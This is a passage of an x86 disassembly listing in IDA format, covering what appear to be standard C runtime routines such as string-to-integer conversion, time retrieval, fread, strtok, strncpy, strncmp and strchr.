loc_41693E:				; CODE XREF: sub_416881+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_416946:				; CODE XREF: sub_416881+91j
					; sub_416881+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_416956:				; CODE XREF: sub_416881+16Cj
		cmp	dword_437F7C, 1
		movzx	esi, bl
		jle	short loc_41696E
		push	4
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_416979
; ---------------------------------------------------------------------------


loc_41696E:				; CODE XREF: sub_416881+DFj
		mov	eax, off_437D70
		mov	al, [eax+esi*2]
		and	eax, 4


loc_416979:				; CODE XREF: sub_416881+EBj
		test	eax, eax
		jz	short loc_416985
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_4169B7
; ---------------------------------------------------------------------------


loc_416985:				; CODE XREF: sub_416881+FAj
		cmp	dword_437F7C, 1
		jle	short loc_416999
		push	edi
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_4169A4
; ---------------------------------------------------------------------------


loc_416999:				; CODE XREF: sub_416881+10Bj
		mov	eax, off_437D70
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_4169A4:				; CODE XREF: sub_416881+116j
		test	eax, eax
		jz	short loc_4169F2
		movsx	eax, bl
		push	eax
		call	sub_41AC71
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_4169B7:				; CODE XREF: sub_416881+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4169F2
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_4169DC
		jnz	short loc_4169D6
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_4169DC


loc_4169D6:				; CODE XREF: sub_416881+147j
		or	[ebp+arg_C], 4
		jmp	short loc_4169E5
; ---------------------------------------------------------------------------


loc_4169DC:				; CODE XREF: sub_416881+145j
					; sub_416881+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_4169E5:				; CODE XREF: sub_416881+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_416956
; ---------------------------------------------------------------------------


loc_4169F2:				; CODE XREF: sub_416881+125j
					; sub_416881+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_416A10
		test	edx, edx
		jz	short loc_416A0A
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_416A0A:				; CODE XREF: sub_416881+181j
		and	[ebp+var_8], 0
		jmp	short loc_416A5D
; ---------------------------------------------------------------------------


loc_416A10:				; CODE XREF: sub_416881+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_416A36
		test	cl, 1
		jnz	short loc_416A5D
		and	ecx, 2
		jz	short loc_416A2D
		cmp	[ebp+var_8], 80000000h
		ja	short loc_416A36


loc_416A2D:				; CODE XREF: sub_416881+1A1j
		test	ecx, ecx
		jnz	short loc_416A5D
		cmp	[ebp+var_8], eax
		jbe	short loc_416A5D


loc_416A36:				; CODE XREF: sub_416881+197j
					; sub_416881+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_469494, 22h
		jz	short loc_416A4C
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_416A5D
; ---------------------------------------------------------------------------


loc_416A4C:				; CODE XREF: sub_416881+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_416A5D:				; CODE XREF: sub_416881+18Dj
					; sub_416881+19Cj ...
		test	edx, edx
		jz	short loc_416A66
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_416A66:				; CODE XREF: sub_416881+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_416A74
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_416A74:				; CODE XREF: sub_416881+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_416A84
; ---------------------------------------------------------------------------


loc_416A79:				; CODE XREF: sub_416881+66j
					; sub_416881+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_416A82
		mov	[eax], edi


loc_416A82:				; CODE XREF: sub_416881+1FDj
		xor	eax, eax


loc_416A84:				; CODE XREF: sub_416881+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416881	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A89	proc near		; CODE XREF: sub_405409+4BDp
					; sub_40CE55+3641p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_416881
		add	esp, 10h
		retn
sub_416A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AA0	proc near		; CODE XREF: sub_405409+266p
					; sub_405409+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_415CF0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AD3D
		add	esp, 10h
		leave
		retn
sub_416AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AD4	proc near		; CODE XREF: sub_405409+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_42105C	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42115C	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_46948A
		jnz	short loc_416B39
		mov	ax, [ebp+var_18]
		cmp	ax, word_469488
		jnz	short loc_416B39
		mov	ax, [ebp+var_1A]
		cmp	ax, word_469486
		jnz	short loc_416B39
		mov	ax, [ebp+var_1E]
		cmp	ax, word_469482
		jnz	short loc_416B39
		mov	ax, [ebp+var_20]
		cmp	ax, word_469480
		jnz	short loc_416B39
		mov	eax, dword_469478
		jmp	short loc_416B7E
; ---------------------------------------------------------------------------


loc_416B39:				; CODE XREF: sub_416AD4+28j
					; sub_416AD4+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_421158	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416B66
		cmp	eax, 2
		jnz	short loc_416B62
		cmp	[ebp+var_32], 0
		jz	short loc_416B62
		cmp	[ebp+var_24], 0
		jz	short loc_416B62
		push	1
		pop	eax
		jmp	short loc_416B69
; ---------------------------------------------------------------------------


loc_416B62:				; CODE XREF: sub_416AD4+7Aj
					; sub_416AD4+81j ...
		xor	eax, eax
		jmp	short loc_416B69
; ---------------------------------------------------------------------------


loc_416B66:				; CODE XREF: sub_416AD4+75j
		or	eax, 0FFFFFFFFh


loc_416B69:				; CODE XREF: sub_416AD4+8Cj
					; sub_416AD4+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_469480
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_469478, eax
		pop	esi


loc_416B7E:				; CODE XREF: sub_416AD4+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41B7EE
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_416BAE
		mov	[ecx], eax

locret_416BAE:				; CODE XREF: sub_416AD4+D6j
		leave
		retn
sub_416AD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BB0	proc near		; CODE XREF: sub_405A89+4Ep
					; sub_406C3E+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_416BD4
		xor	eax, eax
		jmp	loc_416C7D
; ---------------------------------------------------------------------------


loc_416BD4:				; CODE XREF: sub_416BB0+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416BE7
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_416BF3
; ---------------------------------------------------------------------------


loc_416BE7:				; CODE XREF: sub_416BB0+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_416BF3
; ---------------------------------------------------------------------------


loc_416BF0:				; CODE XREF: sub_416BB0+C4j
		mov	ecx, [ebp+arg_0]


loc_416BF3:				; CODE XREF: sub_416BB0+35j
					; sub_416BB0+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416C25
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_416C25
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_416C0A
		mov	edi, eax


loc_416C0A:				; CODE XREF: sub_416BB0+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4155D0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_416C70
; ---------------------------------------------------------------------------


loc_416C25:				; CODE XREF: sub_416BB0+49j
					; sub_416BB0+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_416C58
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_416C3B
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_416C3B:				; CODE XREF: sub_416BB0+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41B989
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416C82
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416C88
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_416C70
; ---------------------------------------------------------------------------


loc_416C58:				; CODE XREF: sub_416BB0+78j
		push	esi
		call	sub_41B8B0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416C8C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_416C70:				; CODE XREF: sub_416BB0+73j
					; sub_416BB0+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_416BF0
		mov	eax, [ebp+arg_8]


loc_416C7D:				; CODE XREF: sub_416BB0+1Fj
					; sub_416BB0+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416C82:				; CODE XREF: sub_416BB0+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_416C8C
; ---------------------------------------------------------------------------


loc_416C88:				; CODE XREF: sub_416BB0+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_416C8C:				; CODE XREF: sub_416BB0+B2j
					; sub_416BB0+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_416C7D
sub_416BB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C98	proc near		; CODE XREF: sub_405B23+2B2p
					; sub_406100+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_416CB1:				; CODE XREF: sub_416C98+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_416CB1
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_416CD9
		mov	edx, dword_469490


loc_416CD9:				; CODE XREF: sub_416C98+39j
					; sub_416C98+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_416CF9
		test	al, al
		jz	short loc_416CF9
		inc	edx
		jmp	short loc_416CD9
; ---------------------------------------------------------------------------


loc_416CF9:				; CODE XREF: sub_416C98+58j
					; sub_416C98+5Cj
		mov	ebx, edx


loc_416CFB:				; CODE XREF: sub_416C98+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_416D1F
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_416D1B
		inc	edx
		jmp	short loc_416CFB
; ---------------------------------------------------------------------------


loc_416D1B:				; CODE XREF: sub_416C98+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_416D1F:				; CODE XREF: sub_416C98+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_469490, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_416C98	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D40	proc near		; CODE XREF: sub_4063B0+1B4p
					; sub_407276+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_416DC3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_416D64
		shr	ecx, 2
		jnz	short loc_416DD1
		jmp	short loc_416D85
; ---------------------------------------------------------------------------


loc_416D64:				; CODE XREF: sub_416D40+1Bj
					; sub_416D40+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_416D92
		test	al, al
		jz	short loc_416D9A
		test	esi, 3
		jnz	short loc_416D64
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416DD1


loc_416D80:				; CODE XREF: sub_416D40+8Fj
		and	ebx, 3
		jz	short loc_416D92


loc_416D85:				; CODE XREF: sub_416D40+22j
					; sub_416D40+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_416DBE
		dec	ebx
		jnz	short loc_416D85


loc_416D92:				; CODE XREF: sub_416D40+2Bj
					; sub_416D40+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416D9A:				; CODE XREF: sub_416D40+2Fj
		test	edi, 3
		jz	short loc_416DB4


loc_416DA2:				; CODE XREF: sub_416D40+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_416E36
		test	edi, 3
		jnz	short loc_416DA2


loc_416DB4:				; CODE XREF: sub_416D40+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416E27


loc_416DBB:				; CODE XREF: sub_416D40+7Fj
					; sub_416D40+F4j
		mov	[edi], al
		inc	edi


loc_416DBE:				; CODE XREF: sub_416D40+4Dj
		dec	ebx
		jnz	short loc_416DBB
		pop	ebx
		pop	esi


loc_416DC3:				; CODE XREF: sub_416D40+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416DC9:				; CODE XREF: sub_416D40+A9j
					; sub_416D40+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416D80


loc_416DD1:				; CODE XREF: sub_416D40+20j
					; sub_416D40+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416DC9
		test	dl, dl
		jz	short loc_416E1B
		test	dh, dh
		jz	short loc_416E11
		test	edx, 0FF0000h
		jz	short loc_416E07
		test	edx, 0FF000000h
		jnz	short loc_416DC9
		mov	[edi], edx
		jmp	short loc_416E1F
; ---------------------------------------------------------------------------


loc_416E07:				; CODE XREF: sub_416D40+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_416E1F
; ---------------------------------------------------------------------------


loc_416E11:				; CODE XREF: sub_416D40+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_416E1F
; ---------------------------------------------------------------------------


loc_416E1B:				; CODE XREF: sub_416D40+ADj
		xor	edx, edx
		mov	[edi], edx


loc_416E1F:				; CODE XREF: sub_416D40+C5j
					; sub_416D40+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_416E31


loc_416E27:				; CODE XREF: sub_416D40+79j
		xor	eax, eax


loc_416E29:				; CODE XREF: sub_416D40+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_416E29


loc_416E31:				; CODE XREF: sub_416D40+E5j
		and	ebx, 3
		jnz	short loc_416DBB


loc_416E36:				; CODE XREF: sub_416D40+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416D40	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E3E	proc near		; CODE XREF: sub_406C3E+2E2p
					; sub_406C3E+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_416EBA
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_416E5D
		cmp	edi, 1
		jz	short loc_416E5D
		cmp	edi, 2
		jnz	short loc_416EBA


loc_416E5D:				; CODE XREF: sub_416E3E+13j
					; sub_416E3E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_416E74
		push	esi
		call	sub_41BC19
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_416E74:				; CODE XREF: sub_416E3E+27j
		push	esi
		call	sub_4186E4
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_416E89
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_416E9D
; ---------------------------------------------------------------------------


loc_416E89:				; CODE XREF: sub_416E3E+42j
		test	al, 1
		jz	short loc_416E9D
		test	al, 8
		jz	short loc_416E9D
		test	ah, 4
		jnz	short loc_416E9D
		mov	dword ptr [esi+18h], 200h


loc_416E9D:				; CODE XREF: sub_416E3E+49j
					; sub_416E3E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41BB7F
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_416EC7
; ---------------------------------------------------------------------------


loc_416EBA:				; CODE XREF: sub_416E3E+Bj
					; sub_416E3E+1Dj
		mov	dword_469494, 16h
		or	eax, 0FFFFFFFFh


loc_416EC7:				; CODE XREF: sub_416E3E+7Aj
		pop	edi
		pop	esi
		retn
sub_416E3E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ED0	proc near		; CODE XREF: sub_406C3E+2ACp
					; sub_406C3E+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_416F01
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_416EFF
		jz	short loc_416F01
		dec	ecx
		dec	ecx


loc_416EFF:				; CODE XREF: sub_416ED0+29j
		not	ecx


loc_416F01:				; CODE XREF: sub_416ED0+9j
					; sub_416ED0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_416ED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416F10	proc near		; CODE XREF: sub_407135+5Cp
					; sub_407135+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_416FC4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_416F3A


loc_416F2B:				; CODE XREF: sub_416F10+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_416F6B
		test	edi, 3
		jnz	short loc_416F2B


loc_416F3A:				; CODE XREF: sub_416F10+19j
					; sub_416F10+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_416F3A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_416F78
		test	ah, ah
		jz	short loc_416F73
		test	eax, 0FF0000h
		jz	short loc_416F6E
		test	eax, 0FF000000h
		jnz	short loc_416F3A


loc_416F6B:				; CODE XREF: sub_416F10+20j
		dec	edi
		jmp	short loc_416F7B
; ---------------------------------------------------------------------------


loc_416F6E:				; CODE XREF: sub_416F10+52j
		sub	edi, 2
		jmp	short loc_416F7B
; ---------------------------------------------------------------------------


loc_416F73:				; CODE XREF: sub_416F10+4Bj
		sub	edi, 3
		jmp	short loc_416F7B
; ---------------------------------------------------------------------------


loc_416F78:				; CODE XREF: sub_416F10+47j
		sub	edi, 4


loc_416F7B:				; CODE XREF: sub_416F10+5Cj
					; sub_416F10+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_416F90
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FDC
		jmp	short loc_416FAC
; ---------------------------------------------------------------------------


loc_416F90:				; CODE XREF: sub_416F10+75j
					; sub_416F10+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_416FCA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_416FC0
		test	esi, 3
		jnz	short loc_416F90
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FDC


loc_416FAC:				; CODE XREF: sub_416F10+7Ej
					; sub_416F10+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_416FC0


loc_416FB3:				; CODE XREF: sub_416F10+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_416FC2
		dec	ecx
		jnz	short loc_416FB3


loc_416FC0:				; CODE XREF: sub_416F10+8Bj
					; sub_416F10+A1j
		mov	[edi], cl


loc_416FC2:				; CODE XREF: sub_416F10+ABj
		pop	ebx
		pop	esi


loc_416FC4:				; CODE XREF: sub_416F10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416FCA:				; CODE XREF: sub_416F10+85j
					; sub_416F10+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416FD4:				; CODE XREF: sub_416F10+E4j
					; sub_416F10+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416FAC


loc_416FDC:				; CODE XREF: sub_416F10+7Cj
					; sub_416F10+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416FD4
		test	dl, dl
		jz	short loc_416FCA
		test	dh, dh
		jz	short loc_417028
		test	edx, 0FF0000h
		jz	short loc_417018
		test	edx, 0FF000000h
		jnz	short loc_416FD4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417018:				; CODE XREF: sub_416F10+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417028:				; CODE XREF: sub_416F10+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416F10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417040	proc near		; CODE XREF: sub_407276+2A2p
					; sub_40CE55+30AFp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_417061
		xor	eax, eax
		jmp	short loc_417063
; ---------------------------------------------------------------------------


loc_417061:				; CODE XREF: sub_417040+1Bj
		mov	eax, edi


loc_417063:				; CODE XREF: sub_417040+1Fj
		cld
		pop	edi
		leave
		retn
sub_417040	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_417080


loc_417070:				; CODE XREF: sub_417080+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_417080
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417080	proc near		; CODE XREF: sub_4085D3+DBp
					; sub_40CE55+411p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00417070 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_417086:				; CODE XREF: sub_415AC0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_4170AB


loc_417098:				; CODE XREF: sub_417080+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_417070
		test	cl, cl
		jz	short loc_4170F4
		test	edx, 3
		jnz	short loc_417098


loc_4170AB:				; CODE XREF: sub_417080+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_4170B6:				; CODE XREF: sub_417080+61j
					; sub_417080+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4170F8
		and	eax, 81010100h
		jz	short loc_4170B6
		and	eax, 1010100h
		jnz	short loc_4170F2
		and	esi, 80000000h
		jnz	short loc_4170B6


loc_4170F2:				; CODE XREF: sub_417080+68j
					; sub_417080+81j ...
		pop	esi
		pop	edi


loc_4170F4:				; CODE XREF: sub_417080+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4170F8:				; CODE XREF: sub_417080+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_417135
		test	al, al
		jz	short loc_4170F2
		cmp	ah, bl
		jz	short loc_41712E
		test	ah, ah
		jz	short loc_4170F2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_417127
		test	al, al
		jz	short loc_4170F2
		cmp	ah, bl
		jz	short loc_417120
		test	ah, ah
